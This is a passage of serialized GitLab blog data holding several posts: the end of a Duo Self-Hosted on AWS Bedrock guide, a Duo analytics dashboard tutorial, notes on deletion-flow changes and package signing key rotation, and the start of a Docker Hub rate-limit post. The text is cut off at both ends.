[from the supported list](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/).\n    \n  - Select **Create self-hosted model**.\n\n\n**5. Configure GitLab Duo features to use your self-hosted model**\n\n\nAfter configuring the model, assign it to specific GitLab Duo features.\n\n![Screen to configure self-hosted model features](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/an2i9s2p9cja2xx27g4z.png)\n\n  - On the left sidebar, at the bottom, select **Admin**.  \n\n  - Select **GitLab Duo Self-Hosted**.  \n\n  - Select the **AI-powered features** tab.  \n\n  - For each feature (e.g., Code Suggestions, GitLab Duo Chat) and sub-feature (e.g., Code Generation, Explain Code), select the model you just configured from the dropdown menu.\n\n\nFor example, you might assign Mixtral 8x7B to Code Generation tasks and Claude 3 Sonnet to the GitLab Duo Chat feature.\n\nCheck out the [requirements documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/) to select the right model for the use case from the models compatibility list per Duo feature. \n\n## Verifying your setup\n\nTo ensure that your GitLab Duo Self-Hosted implementation with AWS Bedrock is working correctly, perform these verification steps:\n\n**1. Run the health check**\n\nAfter running the health check of your model to be sure that it’s up and running, Return to the GitLab Duo section from the Admin page and click on **Run health check**. This will verify if:   \n\n* The AI gateway URL is properly configured.  \n\n* Your instance can connect to the AI gateway.  \n\n* The Duo Licence is activated.   \n\n* A model is assigned to Code Suggestions — *as this is the model used to test the connection.*\n\n\n![Running the health check](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/yffw21yhjpwummw1ffsw.png)\n\n\nIf the health check reports issues, refer to the [troubleshooting guide](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/troubleshooting/%20%20%20) for common errors. \n\n\n**2. Test GitLab Duo features**\n\nTry out a few GitLab Duo features to ensure they're working:\n\n* In the UI, open GitLab Duo Chat and ask it a question.  \n\n* Open the web IDE  \n  * Create a new code file and see if Code Suggestions appears.  \n  * Select a code snippet and use the `/explain` command to receive an explanation from Duo Chat. \n\n**3. Check AI Gateway logs**\n\nReview the AI gateway logs to see the requests coming to the gateway from the selected model:\n\nIn your terminal, run:\n\n```yaml\ndocker logs \u003Cai-gateway-container-id>\n```\n\nOptional: In AWS, you can [activate CloudWatch and S3 as log destinations](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html). Doing so would enable you to see all your requests, prompts, and answers in CloudWatch.\n\n**Warning:** Keep in mind that activating these logs in AWS logs user data, which may not comply with privacy rules.\n\nAnd here you have full access to using GitLab Duo's AI features across the platform while retaining complete control over the data flow operating within the secure AWS cloud.\n\n## Next steps\n\n### Selecting the right model for each use case\n\nThe GitLab team actively tests each model's performance for each feature and provides [tier ranking of model's performance and suitability depending on the functionality:](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/#supported-models)\n\n- Fully compatible: The model can likely handle the feature without any loss of quality.  \n\n- Largely compatible: The model supports the feature, but there might be compromises or limitations.  \n\n- Not compatible: The model is unsuitable for the feature, likely resulting in significant quality loss or performance issues.\n\nAs of this writing, most GitLab Duo features can be configured with Self Hosted. The complete availability overview is available in the [documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/#supported-gitlab-duo-features). \n\n### Going beyond AWS Bedrock\n\nWhile this guide focuses on AWS Bedrock integration, GitLab Duo Self-Hosted supports multiple deployment options:\n\n1. [On-premises with vLLM](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#vllm): Run models locally with vLLM for fully air-gapped environments.  \n\n2. [Azure OpenAI Service](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#for-cloud-hosted-model-deployments): Similar to AWS Bedrock, you can use Azure OpenAI for models like GPT-4.\n\n## Summary\n\nGitLab Duo Self-Hosted provides a powerful solution for organizations that need AI-powered development tools while maintaining strict control over their data and infrastructure. By following this implementation guide, you can deploy a robust solution that meets security and compliance requirements without compromising on the advanced capabilities that AI brings to your software development lifecycle.\n\nFor organizations with stringent security and compliance needs, GitLab Duo Self-Hosted strikes the perfect balance between innovation and control, allowing you to harness the power of AI while keeping your code and intellectual property secure within your boundaries.\n\nWould you like to learn more about implementing GitLab Duo Self-Hosted in your environment? Please [reach out to a GitLab representative](https://about.gitlab.com/sales/) or [visit our documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/) for more detailed information.\n",[683,846],"AWS","2025-08-07",{"featured":91,"template":797,"slug":849},"gitlab-duo-self-hosted-models-on-aws-bedrock",{"content":851,"config":860},{"title":852,"description":853,"authors":854,"heroImage":856,"body":857,"category":687,"tags":858,"date":859},"Measuring AI ROI at scale: A practical guide to GitLab Duo Analytics","Learn how to transform raw usage data into actionable business insights and ROI calculations with this in-depth tutorial.",[855],"Paul Meresanu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662840/Blog/Hero%20Images/ai-experiment-stars.png","AI investment starts with measurement. Building a successful AI-powered\ndevelopment platform begins with understanding actual usage, adoption\npatterns, and quantifiable business value — especially ROI from [GitLab Duo\nEnterprise](https://about.gitlab.com/gitlab-duo/).\n\n\nTo help our customers maximize their AI investments, we developed the GitLab Duo Analytics solution as part of our Duo Accelerator program — a comprehensive, customer-driven solution that transforms raw usage data into actionable business insights and ROI calculations. This is not a GitLab product, but rather a specialized enablement tool we created to address immediate analytics needs while organizations transition toward comprehensive AI productivity measurement.\n\n\nThis foundation enables broader AI transformation. For example, organizations can use these insights to optimize license allocation, identify high-value use cases, and build compelling business cases for expanding AI adoption across development teams.\n\n\nA leading financial services organization partnered with a GitLab customer success architect through the Duo Accelerator program to gain visibility into their GitLab Duo Enterprise investment. Together, we implemented a hybrid analytics solution that combines monthly data collection with real-time API integration, creating a scalable foundation for measuring AI productivity gains and optimizing license utilization at enterprise scale.\n\n\n## The challenge: Measuring AI ROI in enterprise development\n\n\nBefore implementing any analytics solution, it's essential to understand your AI measurement landscape.\n\n\nConsider:\n\n\n- **What GitLab Duo features need measurement?** (code suggestions, chat assistance, security scanning)?\n\n- **Who are your AI users?** (developers, security teams, DevOps engineers)?\n\n- **What business metrics matter?** (time savings, productivity gains, cost optimization)?\n\n- **How does your current data collection work** (manual exports, API integration, existing tooling)?\n\n\nUse this stage to define your:\n\n\n- ROI measurement framework\n\n- Key performance indicators (KPIs)\n\n- Data collection strategy\n\n- Stakeholder reporting requirements\n\n\n### Sample ROI measurement framework\n\n\n![Sample ROI measurement framework](https://gitlab.com/-/project/54775568/uploads/06da2f5c3a75197cd272aedb3d67a347/image.png)\n\n\n## Step-by-step implementation guide\n\nImportant: The solution below describes an open source approach that you can deploy in your own environment. It is **NOT** a commercial product from GitLab that you need to purchase. You should be able download, customize, and run this solution free of charge.\n\n### Prerequisites\n\n**Before starting, ensure you have:**\n\n- Python 3.8+ installed\n\n- Node.js 14+ and npm (for React dashboard)\n\n- GitLab instance with Duo enabled\n\n- GitLab API token with read permissions\n\n- Basic terminal/command line knowledge\n\n### 1: Initial setup and configuration\n\nLet's set up the project environment by first cloning the repository.\n\n```bash\ngit clone https://gitlab.com/gl-demo-ultimate-pmeresanu/gitlab-graphql-api.git\ncd gitlab-graphql-api\n```\n\nThen, install Python dependencies.\n\n```bash\npip install -r requirements.txt\n\n# What this does: Sets up the Python environment with all necessary libraries for data collection and server operation.\n```\n\n### 2: Configure GitLab API access\n\nCreate a .env file in the root directory to store your GitLab credentials.\n\nGitLab configuration\n\n```yaml\nGITLAB_URL: https://your-gitlab-instance.com\nGITLAB_TOKEN: your_personal_access_token\nGROUP_PATH: your-group/subgroup\n```\n\nData collection settings\n\n```yaml\nNUMBER_OF_ITERATIONS: 20000\nSERVICE_PING_DATA_ENABLED: true\nGRAPHQL_DATA_ENABLED: true\nDUO_DATA_ENABLED: true\nAI_METRICS_ENABLED: true\n```\n\nWhat these settings control:\n  \n- `GITLAB_URL`: Your GitLab instance URL\n\n- `GITLAB_TOKEN`: Personal access token for API authentication (needs read_api scope)\n\n- `GROUP_PATH`: The group/namespace to collect data from\n\n- Various flags control which data types to collect\n\n### 3: Understanding and running data collection\n\nThe heart of the solution is the `ai_raw_data_collection.py` script. \n\nThis script connects to GitLab's APIs and extracts AI usage data.\n\nWhat this script does:\n\n- Connects to multiple GitLab GraphQL APIs in parallel\n\n- Collects code suggestion events, user metrics, and aggregated statistics\n\n- Processes data in memory-efficient chunks\n\n- Exports everything to .csv files for dashboard consumption\n\nRun the data collection.\n\n```bash\npython scripts/ai_raw_data_collection.py\n```\nExpected output:\n\n```bash\n 2025-08-04 11:30:45 - INFO - Starting AI raw data collection...\n 2025-08-04 11:30:46 - INFO - Running 4 data collection tasks concurrently...\n 2025-08-04 11:31:15 - INFO - Processed chunk 1 (1000 rows)\n 2025-08-04 11:32:30 - INFO - Successfully wrote ai_code_suggestions_data_raw.csv\n 2025-08-04 11:33:00 - INFO - Retrieved 500 eligible users\n 2025-08-04 11:33:30 - INFO - All data collection tasks completed in 165.2 seconds\n```\n\n#### APIs used by the data collection script\n\n1. AI usage data API (aiUsageData)\n\n```graphql\n# Fetches individual code suggestion events\nquery: |\n  {\n    group(fullPath: \"your-group\") {\n      aiUsageData {\n        codeSuggestionEvents {\n          event         # ACCEPTED or SHOWN\n          timestamp     # When it happened\n          language      # Programming language\n          suggestionSize # SINGLE_LINE or MULTI_LINE\n          user { username }\n        }\n      }\n    }\n  }\n# Purpose: Tracks every code suggestion shown or accepted by developers\n```\n\n2. GitLab Self-Managed add-on users API\n\n```graphql\n# Gets licensed user information\nquery: |\n  {\n    selfManagedAddOnEligibleUsers(\n      addOnType: DUO_ENTERPRISE\n      filterByAssignedSeat: \"Yes\"\n    ) {\n      user {\n        username\n        lastDuoActivityOn\n      }\n    }\n  }\n# Purpose: Identifies who has licenses and when they last used Duo\n```\n\n3. AI metrics API\n\nRetrieve aggregated metrics.\n\n```graphql\nquery: |\n  {\n    aiMetrics(from: \"2024-01-01\", to: \"2024-06-30\") {\n      codeSuggestions {\n        shownCount\n        acceptedCount\n      }\n      duoChatContributorsCount\n      duoAssignedUsersCount\n    }\n  }\n# Purpose: Gets pre-calculated metrics for trend analysis\n```\n\n4. Service Ping API (REST)\n\n```bash\nurl: \"{GITLAB_URL}/api/v4/usage_data/service_ping\"\n# Purpose: Collects instance-wide usage statistics\n```\n\n### 4: Organizing the collected data\n\nAfter data collection completes, organize the CSV files.\n\nCreate monthly data directory.\n\n```bash\nmkdir -p data/monthly/$(date +%Y-%m)\n```\n\nMove generated CSV files.\n\n```bash\nmv *.csv data/monthly/$(date +%Y-%m)/\n```\n\nGenerated files:\n- `ai_code_suggestions_data_raw.csv` - Individual suggestion events\n- `duo_licensed_vs_active_users.csv` - User license and activity data\n- `ai_metrics_data.csv` - Aggregated metrics over time\n- `service_ping_data.csv` - System-wide statistics\n\n\n### 5: Configure the dashboard\n\nEdit config.json to point to your data.\n\n```bash\nconfig:\n  dataPath: \"./data/monthly/2024-06\"\n  csvFiles:\n    users: \"duo_licensed_vs_active_users.csv\"\n    suggestions: \"ai_code_suggestions_data_raw.csv\"\n  currentDataPeriod: \"2024-06\"\n```  \n\nWhat this configures:\n\n- Where to find the CSV data files\n\n- Which period of data to display\n\n### 6: Launch the dashboard server\n\nThe `simple_csv_server.py` file creates a web server that reads your CSV data and serves it through a dashboard.\n\nWhat this server does:\n- Reads CSV files from the configured directory\n- Calculates metrics like utilization rates and costs\n- Serves an HTML dashboard with charts\n- Provides a JSON API for the React dashboard\n\nStart the server.\n\n```bash\npython simple_csv_server.py\n```\n\nConsole output:\n\n```bash\nStarting CSV Dashboard Server...\nLoading data from:\n   - `./data/monthly/2024-06/duo_licensed_vs_active_users.csv`\n   - `./data/monthly/2024-06/ai_code_suggestions_data_raw.csv`\n```\n   \nDashboard should be available at: http://localhost:8080.\n\nAPI endpoint at: http://localhost:8080/api/dashboard.\n\n\n### 7: Access your analytics dashboard\n\nOpen your browser and navigate to: http://localhost:8080.\n\nYou'll see:\n\n- License utilization: Total licensed users vs. active users (together with code suggestion analytics)\n\n![GitLab Duo Analytics Dasboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/nhbukcflhmghs5jatrip.png)\n\n\n- Duo Chat analytics: Unique Duo Chat users, average Chat events over 90 days, and Chat adoption rate\n- Duo engagement analytics: Categorizing Duo usage for a group of users as Power (10+ suggestions), Regular (5-9), or Light (1-4) based on usage patterns\n\n![Duo Chat Analytics - last 90 days](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/xgq05hh2ybzb8ugsxqza.png)\n\n- Usage analytics: Code suggestions by programming language (language coverage distribution), Code suggestions language performance analytics (accepted vs rejected rate)\n\n![User adoption view of Duo analytics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/mu3dx5g2l2lki2ehlr2g.png)\n\n\u003Cp>\u003C/p>\n\n\n![Language performance analytics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478267/xf0thn8sm4dlhoyyqg9i.png)\n\n- Weekly Duo Chat trends: Duo Chat usage patterns\n\n![Duo Chat daily usage trends](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/plhycnmewye3vp6vitqj.png) \n\n### 8: (Optional) Launch the React dashboard\n\nFor a more interactive experience, you can also run the React dashboard.\n\nInstall React dependencies.\n\n```bash\ncd duo-roi-dashboard\nnpm install\n```\n\nStart the React app.\n\n```bash\nnpm start\n```\n\nWhat the React dashboard provides:\n\n- Modern, responsive UI with ,aterial design\n- Real-time data refresh\n- Dark mode support\n- Enhanced visualizations\n- Export capabilities\n\n\n## Putting it all together\n\nTo demonstrate the power of this integrated analytics solution, let's walk through a complete end-to-end implementation journey — from initial deployment to fully automated ROI measurement.\n\n\nStart by deploying the containerized solution in your environment using the provided Docker configuration. Within minutes, you'll have both the analytics API and React dashboard running locally. \n\n\nThe hybrid data architecture approach immediately begins collecting metrics from your existing monthly CSV exports while establishing real-time GraphQL connections to your GitLab instance.\n\n\n**Automation through Python scripting**\n\n\nThe real power emerges when you leverage Python scripting to automate the entire data collection and processing workflow. The solution includes comprehensive Python scripts that can be easily customized and scheduled.\n\n\n**GitLab CI/CD integration**\n\n\nFor enterprise-scale automation, integrate these Python scripts into scheduled GitLab [CI/CD](https://about.gitlab.com/topics/ci-cd/) pipelines. This approach leverages your existing GitLab infrastructure while ensuring consistent, reliable data collection:\n\n\n```yaml\n\n# .gitlab-ci.yml example\n\nduo_analytics_collection:\n  stage: analytics\n  script:\n    - python scripts/enhanced_duo_data_collection.py\n    - python scripts/metric_aggregations.py\n    - ./deploy_dashboard_updates.sh\n  schedule:\n    - cron: \"0 2 1 * *\"  # Monthly on 1st at 2 AM\n  only:\n    - schedules\n```\n\n\nThis automation strategy transforms manual data collection into a self-sustaining analytics engine. Your Python scripts execute monthly via GitLab pipelines, automatically collecting usage data, calculating ROI metrics, and updating dashboards — all without manual intervention.\n\n\nOnce automated, the solution operates seamlessly: Scheduled pipelines execute Python data collection scripts, process GraphQL responses into business metrics, and update dashboard data stores. You can watch as the dashboard populates with real usage patterns: code suggestion volumes by programming language, user adoption trends across teams, and license utilization rates that reveal optimization opportunities.\n\n\nThe real value emerges when you access the ROI Overview dashboard. Here, you'll see concrete enagagement metrics metrics which can be converted into business impact for your organisation — perhaps discovering that your active Duo users are generating 127% monthly ROI through time savings and productivity gains, while 23% of your licenses remain underutilized. These insights immediately translate into actionable recommendations: expand licenses to high-performing teams, implement targeted training for underutilized users, and build data-driven business cases for broader AI adoption.\n\n\n## Why GitLab?\n\n\nGitLab's comprehensive DevSecOps platform provides the ideal baseline for enterprise AI analytics and measurement. With native GraphQL APIs, flexible data access, and integrated AI capabilities through GitLab Duo, organizations can centralize AI measurement across the entire development lifecycle without disrupting existing workflows.\n\n\nThe solution's open architecture enables custom analytics solutions like the one developed through our Duo Accelerator program. GitLab's commitment to API-first design means you can extract detailed usage data, integrate with existing enterprise systems, and build sophisticated ROI calculations that align with your organization's specific metrics and reporting requirements.\n\n\nBeyond technical capabilities, our approach ensures you're not just implementing tools — you're building sustainable AI adoption strategies. This purpose built solution emerging from the Duo Accelerator program exemplifies this approach, providing hands-on guidance, proven frameworks, and custom solutions that address real enterprise challenges like ROI measurement and license optimization.\n\n\nAs GitLab continues enhancing native analytics capabilities, this foundation becomes even more valuable. The measurement frameworks, KPIs, and data collection processes established through custom analytics solutions seamlessly transition to enhanced native features, ensuring your investment in AI measurement grows with GitLab's evolving solution.\n\n\n## Try GitLab Duo today\n\n\nAI ROI measurement is just the beginning. With GitLab Duo's capabilities you can build out comprehensive analytics. With this you're not just tracking AI usage — you're building a foundation for data-driven AI optimization that scales with your organization's growth and evolves with GitLab's expanding AI capabilities.\n\n\nThe analytics solution developed through GitLab's Duo Accelerator program demonstrates how customer success partnerships can deliver immediate value while establishing long-term strategic advantages. From initial deployment to enterprise-scale ROI measurement, this solution provides the visibility and insights needed to maximize AI investments and drive sustainable adoption.\n\n\nThe combination of Python automation, GitLab CI/CD integration, and purpose-built analytics creates a competitive advantage that extends far beyond individual developer productivity. It enables strategic decision-making, optimizes resource allocation, and builds compelling business cases for continued AI investment and expansion.\n\n\nThe future of AI-powered development is data-driven, and it starts with measurement. Whether you're beginning your AI journey or optimizing existing investments, GitLab provides both the platform and the partnership needed to succeed.\n\n> Get started with GitLab Duo today with a [free trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/gitlab-duo/).\n",[683,765,794],"2025-08-06",{"featured":6,"template":797,"slug":861},"measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics",{"category":695,"slug":699,"posts":863},[864,876,887],{"content":865,"config":874},{"title":866,"description":867,"authors":868,"heroImage":870,"date":871,"body":872,"category":699,"tags":873},"Improving GitLab's deletion flow: What to expect in coming months","GitLab is enhancing its deletion flow for groups and projects with features like pending deletion, self-service recovery, and an extended 30-day recovery window. Here's what you need to know.\n",[869],"Christina Lohr","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663000/Blog/Hero%20Images/tanukilifecycle.png","2025-07-14","At GitLab, we're committed to continuously improving your experience across our platform. Today, we're excited to announce significant enhancements to our deletion flow for groups and projects. We are rolling out a series of improvements designed to protect your data, simplify recovery, and create a more intuitive experience across all pricing tiers.\n\n## Why we're making these changes\n\nOur current deletion flow has some inconsistencies that can lead to frustrating experiences. Free tier users have had limited or no options for recovering accidentally deleted content, projects in personal namespaces haven't had the same protections as those in groups, and group namespace paths have remained locked after deletion, preventing immediate reuse.\n\nWe've heard your feedback, and we're addressing these pain points with a comprehensive redesign of our deletion flow that will be rolled out in multiple iterations.\n\n## What has changed already\n\nOver the past quarter, we have implemented fundamental improvements to create a consistent deletion experience across all pricing tiers. These changes have eliminated the frustration of accidentally deleting important content with no recovery option.\n\n* [**Pending deletion for all users**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#deletion-protection-available-for-all-users)**:** All deleted projects and groups now enter a \"pending deletion\" state before being permanently deleted, regardless of their pricing tier.  \n* [**Self-service recovery**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#delayed-project-deletion-for-user-namespaces)**:** You can now restore your own content without contacting support, giving you more control and autonomy over your data.  \n* [**Clear status indicators**](https://gitlab.com/gitlab-org/gitlab/-/issues/502234)**:** We have standardized how deletion status is displayed across the platform, making it immediately clear when content is pending deletion.  \n* **Extended recovery window:** On July 10, 2025, we increased the pending deletion period from 7 to 30 days on GitLab.com. This means you now have ample time to recover from accidental deletions.\n\n## What's coming next\n\n### Currently in development\n\nBuilding on the foundation established in our first iteration, we are further enhancing your deletion experience with two key improvements:\n\n* [**Admin area consistency**](https://gitlab.com/groups/gitlab-org/-/epics/17372)**:** Deletions initiated from the Admin area will follow the same pending deletion process as deletions initiated directly from the group or project level, creating a unified experience across all access points.  \n* [**Immediate path reuse**](https://gitlab.com/gitlab-org/gitlab/-/issues/526081)**:** When you delete a project or group, its namespace path will be automatically renamed, allowing you to immediately reuse the original path for new content. This will remove the waiting period currently required to reuse namespace paths.\n\n### Planned for future release\n\nThe final phase will introduce a redesigned deletion experience that completes our vision for a modern, intuitive deletion system:\n\n* **Centralized \"Trash\" interface:** All your deleted content will be accessible in a dedicated \"Trash\" section, providing a familiar paradigm similar to what you're used to in other applications.  \n* [**Clear action separation**](https://gitlab.com/gitlab-org/gitlab/-/issues/541182)**:** We will create a clear distinction between \"Delete\" (temporary, recoverable) and \"Delete Permanently\" (irrevocable) actions to prevent accidental data loss.  \n* **Bulk management:** You'll be able to restore or permanently delete multiple items at once, making cleanup and recovery more efficient.\n\n## How these changes benefit you\n\nThese enhancements deliver several key benefits that will transform your experience with GitLab's deletion functionality.\n\n* **Protection against data loss** is provided through pending deletion and self-service recovery available across all tiers, giving you a safety net against accidental deletions. The **consistent experience** ensures the same deletion flow applies to all projects and groups, eliminating inconsistencies across the platform.\n\n* You'll gain **greater control** through enhanced visibility and management options for deleted content, with a familiar interface that makes recovery intuitive. **Improved workflow** efficiency will result from immediate path reuse and bulk management capabilities that streamline your content organization process.\n\n* Most importantly, you'll have **peace of mind** knowing that the extended 30-day recovery window ensures ample opportunity to recover important data, while the clear separation between temporary and permanent deletion actions prevents accidental data loss.\n\n## Your feedback matters\n\nAs always, we value your input. Please leave feedback in [the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/538165).",[765],{"featured":6,"template":797,"slug":875},"improving-gitlab-deletion-flow-what-to-expect-in-coming-months",{"content":877,"config":885},{"title":878,"description":879,"authors":880,"heroImage":870,"date":882,"body":883,"category":699,"tags":884},"GitLab rotating Omnibus Linux package signing key","Learn who is impacted by the rotation of the GNU Privacy Guard (GPG) key and what you need to know.",[881],"GitLab","2025-04-16","As part of our standard security practices, GitLab is rotating the GNU Privacy Guard (GPG) key used to sign all Omnibus Linux packages on April 16, 2025. This key ensures the integrity of our packages, verifying that they have not been tampered with after creation in our CI pipelines. This key is distinct from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. GitLab is revoking the existing key and will begin signing upcoming packages using a new key with fingerprint `98BF DB87 FCF1 0076 416C 1E0B AD99 7ACC 82DD 593D`.\n\n**What do I need to do?**\n\nIf you currently validate the GPG signatures of GitLab Omnibus packages, you will need to update your copy of the package signing key. Packages published before this article will remain signed with the previous key.\n\nThe package signing key is separate from the repository metadata signing key used by your operating system’s package managers (like `apt` or `yum`). Unless you are specifically verifying package signatures or have configured your package manager to verify the package signatures, no action is required to continue installing GitLab Omnibus packages.\n\n**Where can I find the new key?**\n\nThe new key can be downloaded from `packages.gitlab.com` using the URL:\n\n[https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg](https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg)\n\nPlease check the documentation for more information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures).\n\n**What do I do if I still have problems?**\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[485,765,775],{"slug":886,"featured":6,"template":797},"gitlab-rotating-omnibus-linux-package-signing-key",{"content":888,"config":896},{"title":889,"description":890,"authors":891,"heroImage":815,"date":893,"body":894,"category":699,"tags":895},"Prepare now: Docker Hub rate limits will impact GitLab CI/CD","Learn how Docker Hub's upcoming pull rate limits will affect GitLab pipelines and what you can do to avoid disruptions.",[892],"Tim Rizzi","2025-03-24","On April 1, 2025, Docker will implement new [pull rate\nlimits](https://docs.docker.com/docker-hub/usage/) to Docker Hub that may\nsignificantly impact CI/CD pipelines across the industry, including those\nrunning on GitLab. The most significant change is the 100 pulls-per-6-hours\nlimit for unauthenticated users.\n\n\n## What's changing?\n\n\nStarting April 1, Docker will enforce the following pull rate limits:\n\n\n| User type | Pull rate limit per hour | Number of public repositories |\nNumber of private repositories |\n\n|-----------|--------------------------|-------------------------------|--------------------------------|\n\n| Business, Team, Pro (authenticated) | Unlimited (fair use) | Unlimited |\nUnlimited |\n\n| Personal (authenticated) | 200 per 6-hour window | Unlimited | Up to 1 |\n\n| Unauthenticated users | 100 per 6-hour window per IPv4 address or IPv6 /64\nsubnet | Not applicable | Not applicable |\n\n\n\u003Cp>\u003C/p>\n\nThis is particularly important because:\n\n\n* GitLab's Dependency Proxy currently pulls from Docker Hub as an\nunauthenticated user.\n\n* Most CI/CD pipelines that don't use the Dependency Proxy pull directly\nfrom Docker Hub as unauthenticated users.\n\n* On hosted runners for GitLab.com, multiple users might share the same IP\naddress or subnet, making them collectively subject to this limit.\n\n\n## How this impacts GitLab users\n\n\n**Impact on direct Docker Hub pulls**\n\n\nIf your CI/CD pipelines directly pull images from Docker Hub without\nauthentication, they will be limited to 100 pulls per six-hour window per IP\naddress. For pipelines that run frequently or across multiple projects\nsharing the same runner infrastructure, this will quickly exhaust the limit\nand cause pipeline failures.\n\n\n**Impact on GitLab Dependency Proxy**\n\n\nThe GitLab Dependency Proxy feature allows you to cache Docker images within\nGitLab to speed up pipelines and reduce external dependencies. However, the\ncurrent implementation pulls from Docker Hub as an unauthenticated user,\nmeaning it will also be subject to the 100 pulls-per-6-hours limit.\n\n\n**Impact on hosted runners**\n\n\nFor hosted runners on GitLab.com, we use [Google Cloud's pull-through\ncache](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images).\nThis mirrors the commonly pulled images and allows us to avoid rate limits.\nJob images defined as `image:` or `services:` in your `.gitlab-ci.yml` file,\nare not affected by rate limits.\n\n\nThings are slightly more challenging whenever images are pulled within the\nrunner environment. The most common use case to pull images during runner\nruntime is to build an image using Docker-in-Docker or Kaniko. In this\nscenario, the Docker Hub image defined in your `Dockerfile` is pulled\ndirectly from Docker Hub and is likely to be affected by rate limits.\n\n\n## How GitLab is responding\n\n\nWe're actively working on solutions to mitigate these challenges:\n\n\n* **Dependency Proxy authentication:** We've added support for Docker Hub\nauthentication in the [GitLab Dependency Proxy\nfeature](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). This will\nallow the Dependency Proxy to pull images from Docker Hub as an\nauthenticated user, significantly increasing the rate limits.\n\n* **Documentation updates:** We've updated our\n[documentation](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials)\nto provide clear guidance on configuring pipeline authentication for Docker\nHub.\n\n* **Internal infrastructure preparation:** We're preparing our internal\ninfrastructure to minimize the impact on hosted runners for GitLab.com.\n\n\n## How you can prepare\n\n\n**Option 1: Configure Docker Hub authentication in your pipelines**\n\n\nFor pipelines that pull directly from Docker Hub, you can configure\nauthentication to increase your rate limit to 200 pulls per six-hour window\n(or unlimited with a paid Docker Hub subscription).\n\n\nAdd Docker Hub credentials to your project or group CI/CD variables (not in\nyour `.gitlab-ci.yml` file). Please refer to our [documentation on using\nDocker\nimages](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials)\nfor detailed instructions on setting up the `DOCKER_AUTH_CONFIG` CI/CD\nvariable correctly.\n\n\n**Option 2: Use the GitLab Container Registry**\n\n\nConsider pushing your frequently used Docker images to your [GitLab\nContainer\nRegistry](https://docs.gitlab.com/user/packages/container_registry/). This\neliminates the need to pull from Docker Hub during CI/CD runs:\n\n\n1. Pull the image from Docker Hub.\n\n2. Tag it for your GitLab Container Registry.\n\n3. Push it to your GitLab Container Registry.\n\n4. Update your pipelines to pull from GitLab Container Registry.\n\n\n```\n\ndocker pull busybox:latest\n\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\n\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n\n```\n\n\nThen in your `.gitlab-ci.yml`:\n\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n\n**Option 3: Use GitLab Dependency Proxy**\n\n\nGitLab's Dependency Proxy feature provides a way to cache and proxy Docker\nimages, reducing external dependencies and rate limit issues.\n\n\nCurrent authentication options:\n\n* GitLab 17.10: Configure Docker Hub authentication for the Dependency Proxy\nusing [GraphQL\nAPI](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n\n* GitLab 17.11: Use the new UI-based configuration in your group's settings\n(already available on GitLab.com)\n\n\nOnce authentication is properly configured, you can:\n\n\n1. Configure Docker Hub credentials in your group's Dependency Proxy\nsettings:\n  - For GitLab 17.11+ (or current GitLab.com): Navigate to your group's settings > Packages & Registries > Dependency Proxy.\n  - For GitLab 17.10: Use the GraphQL API to configure authentication.\n2. Update your pipelines to use the Dependency Proxy URLs in your CI/CD\nconfiguration:\n\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n\n**Option 4: Consider a Docker Hub paid subscription**\n\n\nFor organizations with heavy Docker Hub usage, upgrading to a paid Docker\nsubscription (Team or Business) will provide unlimited pulls, which may be\nthe most straightforward solution.\n\n\n## Best practices to reduce Docker Hub rate limit impact\n\n\nRegardless of which option you choose, consider these best practices to\nminimize Docker Hub rate limit impact:\n\n\n* Use specific image tags instead of `latest` to avoid unnecessary pulls.\n\n* Consolidate your Docker files to use the same base images across projects.\n\n* Schedule less critical pipelines to run outside of peak hours.\n\n* Use caching effectively to avoid pulling the same images repeatedly.\n\n\n**Note:** According to Docker Hub\n[documentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition),\nthe pull count is incremented when pulling the image manifest, not based on\nimage size or number of layers.\n\n\n## Timeline and next steps\n\n\n**Now**\n  * Implement authentication for direct Docker Hub pulls.\n  * GitLab.com users can already configure Docker Hub authentication for the Dependency Proxy using either:\n    * The GraphQL API, or\n    * The UI in group settings\n  * Self-managed GitLab 17.10 users can configure Dependency Proxy authentication using the GraphQL API.\n\n**April 1, 2025**\n  * Docker Hub rate limits go into 